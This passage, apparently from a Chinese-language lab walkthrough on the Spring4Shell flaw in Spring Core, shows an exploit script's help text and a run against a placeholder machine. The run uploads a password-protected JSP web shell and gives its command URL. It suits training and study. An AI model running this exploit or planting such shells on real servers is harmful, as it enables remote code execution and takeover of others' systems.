这些漏洞影响的是框架的核心组件 "Spring Core" — 即框架的心脏。
漏洞当前可利用的条件:-
user@attacker:~$ ./exploit.py --help
usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url
Spring4Shell RCE Proof of Concept
positional arguments:
url Target URL
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
Name of the file to upload (Default tomcatwar.jsp)
-p PASSWORD, --password PASSWORD
Password to protect the shell with (Default: thm)
-d DIRECTORY, --directory DIRECTORY
The upload path for the file (Default: ROOT)
user@attacker:~$ ./exploit.py http://MACHINE_IP/
Shell Uploaded Successfully!
# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami